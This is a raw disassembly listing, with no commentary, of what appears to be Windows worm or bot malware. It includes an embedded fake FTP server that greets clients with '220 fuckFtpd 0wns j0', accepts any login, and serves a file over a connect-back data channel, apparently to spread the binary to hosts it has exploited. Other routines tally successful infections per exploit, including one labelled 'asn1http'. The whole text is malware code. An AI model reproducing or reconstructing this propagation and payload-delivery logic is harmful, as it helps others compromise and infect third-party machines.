push eax
mov ecx, esi
call sub_402FE3
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_402AD2
add esp, 1Ch
jmp short loc_402D16
; ---------------------------------------------------------------------------
loc_402CE1: ; CODE XREF: sub_402B8D+112j
cmp [ebp+arg_A0], 8Bh
jnz short loc_402CFB
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_402892
jmp short loc_402D13
; ---------------------------------------------------------------------------
loc_402CFB: ; CODE XREF: sub_402B8D+15Ej
cmp [ebp+arg_A0], 1BDh
jnz short loc_402D19
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_4027B8
loc_402D13: ; CODE XREF: sub_402B8D+16Cj
add esp, 0Ch
loc_402D16: ; CODE XREF: sub_402B8D+152j
movzx esi, al
loc_402D19: ; CODE XREF: sub_402B8D+105j
; sub_402B8D+178j
push ebx
call ds:dword_430828 ; closesocket
test esi, esi
jnz short loc_402D2F
loc_402D24: ; CODE XREF: sub_402B8D+C2j
push 3E8h
call ds:dword_41C058 ; Sleep
loc_402D2F: ; CODE XREF: sub_402B8D+195j
inc [ebp+var_C]
cmp [ebp+var_C], 2
jl loc_402C36
loc_402D3C: ; CODE XREF: sub_402B8D+ABj
lea ecx, [ebp+var_8]
call sub_4021B3
test esi, esi
jz short loc_402D95
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aAsn1http ; "asn1http"
push eax
push offset dword_41F1F0
lea eax, [ebp+var_624]
push 200h
push eax
call sub_410A8A
lea eax, [ebp+var_624]
push eax
call sub_407E0E
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
inc ds:dword_41FFF0[eax]
lea eax, dword_41FFF0[eax]
loc_402D95: ; CODE XREF: sub_402B8D+1B9j
mov eax, esi
loc_402D97: ; CODE XREF: sub_402B8D+A1j
pop edi
pop esi
pop ebx
leave
retn
sub_402B8D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41B138
loc_402D9C: ; CODE XREF: sub_41B138+3j
; seg000:0041B151j ...
push 1
call sub_402FA7
retn
; END OF FUNCTION CHUNK FOR sub_41B138
; =============== S U B R O U T I N E =======================================
sub_402DA4 proc near ; CODE XREF: sub_402930+110p
; sub_402930+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, ds:dword_41C228
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_402DBE
call sub_41ACA0
loc_402DBE: ; CODE XREF: sub_402DA4+13j
test ebx, ebx
jbe short loc_402DF5
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_402F22
test al, al
jz short loc_402DF5
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_410590
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_402DF5: ; CODE XREF: sub_402DA4+1Cj
; sub_402DA4+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_402DA4 endp
; =============== S U B R O U T I N E =======================================
sub_402DFD proc near ; CODE XREF: sub_402930+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, ds:dword_41C228
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_402E17
call sub_41ACA0
loc_402E17: ; CODE XREF: sub_402DFD+13j
test ebx, ebx
jbe short loc_402E4C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_402F22
test al, al
jz short loc_402E4C
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_4105F0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_402E4C: ; CODE XREF: sub_402DFD+1Cj
; sub_402DFD+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_402DFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E54 proc near ; CODE XREF: sub_402930+17Cp
; sub_41ACFA+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_402E6C
call sub_41AECC
loc_402E6C: ; CODE XREF: sub_402E54+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_402E7E
mov esi, [ebp+arg_8]
loc_402E7E: ; CODE XREF: sub_402E54+25j
cmp edi, ebx
jnz short loc_402EA0
push ds:dword_41C228
add esi, ecx
mov ecx, edi
push esi
call sub_403018
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_403018
jmp short loc_402F19
; ---------------------------------------------------------------------------
loc_402EA0: ; CODE XREF: sub_402E54+2Cj
test esi, esi
jbe short loc_402EE3
cmp esi, eax
jnz short loc_402EE3
mov eax, [ebx+4]
test eax, eax
jnz short loc_402EB4
mov eax, offset dword_41C238
loc_402EB4: ; CODE XREF: sub_402E54+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_402EE3
push 1
mov ecx, edi
call sub_402FA7
mov eax, [ebx+4]
test eax, eax
jnz short loc_402ECF
mov eax, offset dword_41C238
loc_402ECF: ; CODE XREF: sub_402E54+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_402F19
; ---------------------------------------------------------------------------
loc_402EE3: ; CODE XREF: sub_402E54+4Ej
; sub_402E54+52j ...
push 1
push esi
mov ecx, edi
call sub_402F22
test al, al
jz short loc_402F19
mov eax, [ebx+4]
test eax, eax
jnz short loc_402EFD
mov eax, offset dword_41C238
loc_402EFD: ; CODE XREF: sub_402E54+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_4105F0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_402F19: ; CODE XREF: sub_402E54+4Aj
; sub_402E54+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_402E54 endp
; =============== S U B R O U T I N E =======================================
sub_402F22 proc near ; CODE XREF: sub_402930+3Dp
; sub_402DA4+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_402F34
call sub_41ACA0
loc_402F34: ; CODE XREF: sub_402F22+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_402F5D
mov al, [ecx-1]
cmp al, dl
jz short loc_402F5D
cmp al, 0FFh
jz short loc_402F5D
cmp edi, edx
jnz short loc_402F98
dec al
push edx
mov [ecx-1], al
loc_402F52: ; CODE XREF: sub_402F22+47j
mov ecx, esi
call sub_402FA7
loc_402F59: ; CODE XREF: sub_402F22+4Bj
; sub_402F22+52j
xor al, al
jmp short loc_402FA2
; ---------------------------------------------------------------------------
loc_402F5D: ; CODE XREF: sub_402F22+19j
; sub_402F22+20j ...
cmp edi, edx
jnz short loc_402F76
cmp [esp+8+arg_4], dl
jz short loc_402F6B
push 1
jmp short loc_402F52
; ---------------------------------------------------------------------------
loc_402F6B: ; CODE XREF: sub_402F22+43j
cmp ecx, edx
jz short loc_402F59
mov [esi+8], edx
mov [ecx], dl
jmp short loc_402F59
; ---------------------------------------------------------------------------
loc_402F76: ; CODE XREF: sub_402F22+3Dj
cmp [esp+8+arg_4], dl
jz short loc_402F93
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_402F88
cmp eax, edi
jnb short loc_402FA0
loc_402F88: ; CODE XREF: sub_402F22+60j
push 1
loc_402F8A: ; DATA XREF: .adata:0047DFBFo
mov ecx, esi
call sub_402FA7
jmp short loc_402F98
; ---------------------------------------------------------------------------
loc_402F93: ; CODE XREF: sub_402F22+58j
cmp [esi+0Ch], edi
jnb short loc_402FA0
loc_402F98: ; CODE XREF: sub_402F22+28j
; sub_402F22+6Fj
push edi
mov ecx, esi
call sub_40307F
loc_402FA0: ; CODE XREF: sub_402F22+64j
; sub_402F22+74j
mov al, 1
loc_402FA2: ; CODE XREF: sub_402F22+39j
pop edi
pop esi
retn 8
sub_402F22 endp
; =============== S U B R O U T I N E =======================================
sub_402FA7 proc near ; CODE XREF: sub_402930+1Fp
; sub_402930+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_402FD3
mov eax, [esi+4]
test eax, eax
jz short loc_402FD3
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_402FCC
cmp al, 0FFh
jz short loc_402FCC
dec al
mov [ecx], al
jmp short loc_402FD3
; ---------------------------------------------------------------------------
loc_402FCC: ; CODE XREF: sub_402FA7+19j
; sub_402FA7+1Dj
push ecx
call sub_4112BF
pop ecx
loc_402FD3: ; CODE XREF: sub_402FA7+8j
; sub_402FA7+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_402FA7 endp
; =============== S U B R O U T I N E =======================================
sub_402FE3 proc near ; CODE XREF: sub_402B8D+13Ep
; sub_40313C+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_402F22
test al, al
jz short loc_403011
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_4105F0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_403011: ; CODE XREF: sub_402FE3+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_402FE3 endp
; =============== S U B R O U T I N E =======================================
sub_403018 proc near ; CODE XREF: sub_402E54+39p
; sub_402E54+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40302B
call sub_41AECC
loc_40302B: ; CODE XREF: sub_403018+Cj
mov ecx, edi
call sub_40313C
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_403041
mov ebx, eax
loc_403041: ; CODE XREF: sub_403018+25j
test ebx, ebx
jbe short loc_403077
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_4112D0
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_402F22
test al, al
jz short loc_403077
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_403077: ; CODE XREF: sub_403018+2Bj
; sub_403018+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_403018 endp
; =============== S U B R O U T I N E =======================================
sub_40307F proc near ; CODE XREF: sub_402F22+79p
mov eax, offset loc_41B180
call sub_4112A0
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_4030A5
mov edi, [ebp+8]
loc_4030A5: ; CODE XREF: sub_40307F+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_4030B2
xor eax, eax
loc_4030B2: ; CODE XREF: sub_40307F+2Fj
push eax
call sub_411605
pop ecx
mov [ebp+8], eax
jmp short loc_4030E3
; ---------------------------------------------------------------------------
loc_4030BE: ; DATA XREF: seg001:0041CEECo
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_4030CD
xor eax, eax
loc_4030CD: ; CODE XREF: sub_40307F+4Aj
push eax
call sub_411605
mov [ebp+8], eax
pop ecx
mov eax, offset loc_4030DD
retn
; ---------------------------------------------------------------------------
loc_4030DD: ; DATA XREF: sub_40307F+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_4030E3: ; CODE XREF: sub_40307F+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_403101
cmp eax, edi
jbe short loc_4030F0
mov eax, edi
loc_4030F0: ; CODE XREF: sub_40307F+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_4105F0
add esp, 0Ch
loc_403101: ; CODE XREF: sub_40307F+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_402FA7
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_403121
mov edi, ebx
loc_403121: ; CODE XREF: sub_40307F+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40307F endp
; =============== S U B R O U T I N E =======================================
sub_40313C proc near ; CODE XREF: sub_403018+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_403169
mov al, [esi-1]
test al, al
jz short loc_403169
cmp al, 0FFh
jz short loc_403169
push 1
call sub_402FA7
push esi
call sub_410B60
pop ecx
push eax
push esi
mov ecx, edi
call sub_402FE3
loc_403169: ; CODE XREF: sub_40313C+9j
; sub_40313C+10j ...
pop edi
pop esi
retn
sub_40313C endp
; =============== S U B R O U T I N E =======================================
sub_40316C proc near ; DATA XREF: seg002:0041E004o
test ds:byte_45FB30, 1
jnz short loc_40317C
or ds:byte_45FB30, 1
loc_40317C: ; CODE XREF: sub_40316C+7j
jmp $+5
push offset nullsub_1
call sub_411680
pop ecx
retn
sub_40316C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40318D proc near ; DATA XREF: seg000:00405220o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_238 = byte ptr -238h
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_228], edi
mov [ebp+var_438], edi
call ds:dword_41C198 ; WSAStartup
push edi
call sub_411914
push eax
call sub_41055D
push 0FA00h
push 471h
call sub_40F6B3
add esp, 10h
mov ds:dword_42F3F0, eax
push edi
push ebx
push 2
call ds:dword_41C1C0 ; socket
mov esi, eax
lea eax, [ebp+var_28]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call ds:dword_41C19C ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
call ds:dword_41C1A0 ; ioctlsocket
mov ax, word ptr ds:dword_42F3F0
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call ds:dword_41C1BC ; ntohs
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call ds:dword_41C1A4 ; bind
test eax, eax
jge short loc_403262
mov eax, ebx
jmp loc_403789
; ---------------------------------------------------------------------------
loc_403262: ; CODE XREF: sub_40318D+CCj
push 0Ah
push esi
call ds:dword_41C1A8 ; listen
mov [ebp+var_228], ebx
mov ebx, ds:dword_41C1CC
mov [ebp+var_224], esi
mov [ebp+var_4], esi
loc_403280: ; CODE XREF: sub_40318D+12Cj
; sub_40318D+5F4j
push 41h
lea esi, [ebp+var_228]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor esi, esi
lea eax, [ebp+var_438]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call ds:dword_41C1B0 ; select
cmp eax, 0FFFFFFFFh
jz loc_403786
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_403280
loc_4032BB: ; CODE XREF: sub_40318D+5EEj
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_410590
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_410590
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_41AFF8 ; __WSAFDIsSet
test eax, eax
jz loc_403774
cmp edi, [ebp+var_C]
jnz short loc_403372
lea eax, [ebp+var_24]
mov [ebp+var_24], 10h
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_C]
call ds:dword_41C1AC ; accept
cmp eax, 0FFFFFFFFh
jz loc_403774
xor ecx, ecx
cmp [ebp+var_228], esi
jbe short loc_40333C
lea edx, [ebp+var_224]
loc_40332C: ; CODE XREF: sub_40318D+1ADj
cmp [edx], eax
jz short loc_40333C
inc ecx
add edx, 4
cmp ecx, [ebp+var_228]
jb short loc_40332C
loc_40333C: ; CODE XREF: sub_40318D+197j
; sub_40318D+1A1j
cmp ecx, [ebp+var_228]
jnz short loc_40335A
cmp [ebp+var_228], 40h
jnb short loc_40335A
mov [ebp+ecx*4+var_224], eax
inc [ebp+var_228]
loc_40335A: ; CODE XREF: sub_40318D+1B5j
; sub_40318D+1BEj
cmp eax, [ebp+var_4]
jle short loc_403362
mov [ebp+var_4], eax
loc_403362: ; CODE XREF: sub_40318D+1D0j
push esi
push 15h
push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
loc_40336A: ; DATA XREF: .adata:0047CE23r
push eax
call ebx ; send
jmp loc_403774
; ---------------------------------------------------------------------------
loc_403372: ; CODE XREF: sub_40318D+169j
push esi
lea eax, [ebp+var_29C]
push 64h
push eax
push edi
call ds:dword_41C1C8 ; recv
test eax, eax
jg short loc_4033D9
mov edx, [ebp+var_228]
xor ecx, ecx
cmp edx, esi
jbe short loc_4033CD
lea eax, [ebp+var_224]
loc_403399: ; CODE XREF: sub_40318D+216j
cmp [eax], edi
jz short loc_4033A7
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_403399
jmp short loc_4033CD
; ---------------------------------------------------------------------------
loc_4033A7: ; CODE XREF: sub_40318D+20Ej
dec edx
cmp ecx, edx
jnb short loc_4033C7
lea eax, [ebp+ecx*4+var_224]
loc_4033B3: ; CODE XREF: sub_40318D+238j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_228]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_4033B3
loc_4033C7: ; CODE XREF: sub_40318D+21Dj
dec [ebp+var_228]
loc_4033CD: ; CODE XREF: sub_40318D+204j
; sub_40318D+218j
push edi
call ds:dword_41C1D0 ; closesocket
jmp loc_403774
; ---------------------------------------------------------------------------
loc_4033D9: ; CODE XREF: sub_40318D+1F8j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS_1 ; "%s %s"
push eax
call sub_4118E0
lea eax, [ebp+var_AC]
push offset aUser_0 ; "USER"
push eax
call sub_410930
add esp, 18h
test eax, eax
jnz short loc_40341D
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40375F
; ---------------------------------------------------------------------------
loc_40341D: ; CODE XREF: sub_40318D+281j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
loc_403429: ; DATA XREF: .adata:0047D719r
; .adata:loc_47D733r ...
call sub_410930
pop ecx
loc_40342F: ; DATA XREF: .adata:0047D6B5r
; .adata:0047D6D6r ...
test eax, eax
loc_403431: ; DATA XREF: sub_47C15D:loc_47C190r
; sub_47C15D+BEr ...
pop ecx
jnz short loc_403441
push esi
loc_403435: ; DATA XREF: sub_47C15D+3Fr
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
loc_40343C: ; DATA XREF: .adata:0047C09Ar
; .adata:loc_47D570r ...
jmp loc_40375F
; ---------------------------------------------------------------------------
loc_403441: ; CODE XREF: sub_40318D+2A5j
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_403465
push esi
push 0Dh
push offset a215Fuckftpd ; "215 fuckFtpd\n"
jmp loc_40375F
; ---------------------------------------------------------------------------
loc_403465: ; CODE XREF: sub_40318D+2C9j
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_403489
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40375F
; ---------------------------------------------------------------------------
loc_403489: ; CODE XREF: sub_40318D+2EDj
lea eax, [ebp+var_AC]
push offset off_41F5C8
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_4034AD
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40375F
; ---------------------------------------------------------------------------
loc_4034AD: ; CODE XREF: sub_40318D+311j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_4034E8
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_4034E8
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40375F
; ---------------------------------------------------------------------------
loc_4034E8: ; CODE XREF: sub_40318D+335j
; sub_40318D+34Cj
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_403523
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_403523
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40375F
; ---------------------------------------------------------------------------
loc_403523: ; CODE XREF: sub_40318D+370j
; sub_40318D+387j
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_403571
push 0Ah
loc_40353C: ; DATA XREF: .adata:0047C12Aw
; sub_47C15D:loc_47C18Ar ...
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
loc_403548: ; DATA XREF: sub_47C15D+EAw
; sub_47C5C0+3r ...
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_124]
loc_403561: ; CODE XREF: sub_40318D+423j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
loc_403569: ; CODE XREF: sub_40318D+4F3j
mov edi, [ebp+arg_0]
loc_40356C: ; DATA XREF: .adata:0047CA5Er
jmp loc_403762
; ---------------------------------------------------------------------------
loc_403571: ; CODE XREF: sub_40318D+3ABj
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
loc_40357C: ; DATA XREF: sub_47DDD4+7r
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_4035B2
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
loc_40359B: ; DATA XREF: .adata:0047C489o
lea eax, [ebp+var_C4]
push eax
movsb
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_403561
; ---------------------------------------------------------------------------
loc_4035B2: ; CODE XREF: sub_40318D+3F9j
lea eax, [ebp+var_AC]
loc_4035B8: ; DATA XREF: sub_47E310+3Br
push offset aPort ; "PORT"
push eax
call sub_410930
pop ecx
loc_4035C4: ; DATA XREF: sub_47E310+13r
test eax, eax
pop ecx
jnz loc_403685
lea eax, [ebp+var_2D0]
push eax
loc_4035D4: ; DATA XREF: sub_47C15D+22Ar
; .adata:loc_47C9F6r
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_4118E0
lea eax, [ebp+var_F8]
push eax
call sub_410A7F
mov edi, eax
lea eax, [ebp+var_2D0]
push eax
call sub_410A7F
mov [ebp+var_8], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_410590
push [ebp+var_8]
lea eax, [ebp+var_F8]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_41050B
add esp, 44h
loc_403640: ; DATA XREF: .adata:0047CE16r
lea eax, [ebp+var_F8]
loc_403646: ; DATA XREF: sub_47CB23r sub_47CB23+Bw
push 10h
push esi
push eax
call sub_4118C9
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41050B
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx ; send
jmp loc_403569
; ---------------------------------------------------------------------------
loc_403685: ; CODE XREF: sub_40318D+43Aj
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_403740
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_403790
pop ecx
cmp eax, 1
pop ecx
jnz short loc_403736
call sub_40380D
cmp eax, 1
jnz loc_403762
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push ds:dword_42F3F0
push eax
lea eax, [ebp+var_8DC]
push offset dword_41F40C
push eax
call sub_41050B
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_403727
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_40E367
add esp, 14h
loc_403727: ; CODE XREF: sub_40318D+575j
lea eax, [ebp+var_8DC]
push eax
call sub_407E0E
pop ecx
jmp short loc_403762
; ---------------------------------------------------------------------------
loc_403736: ; CODE XREF: sub_40318D+52Fj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40375F
; ---------------------------------------------------------------------------
loc_403740: ; CODE XREF: sub_40318D+50Dj
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_403762
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40375F: ; CODE XREF: sub_40318D+28Bj
; sub_40318D:loc_40343Cj ...
push edi
call ebx ; send
loc_403762: ; CODE XREF: sub_40318D:loc_40356Cj
; sub_40318D+539j ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_410590
add esp, 0Ch
loc_403774: ; CODE XREF: sub_40318D+160j
; sub_40318D+189j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_4032BB
jmp loc_403280
; ---------------------------------------------------------------------------
loc_403786: ; CODE XREF: sub_40318D+11Ej
push 1
pop eax
loc_403789: ; CODE XREF: sub_40318D+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40318D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403790 proc near ; CODE XREF: sub_40318D+525p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_41C198 ; WSAStartup
push 0
push 1
push 2
call ds:dword_41C1C0 ; socket
push [ebp+arg_0]
mov ds:dword_42F3EC, eax
mov [ebp+var_10], 2
call ds:dword_41C1B8 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_41C1BC ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push ds:dword_42F3EC
call ds:dword_41C1C4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_403808
push ds:dword_42F3EC
call ds:dword_41C1D0 ; closesocket
call ds:dword_41C194 ; WSACleanup
xor eax, eax
leave
retn
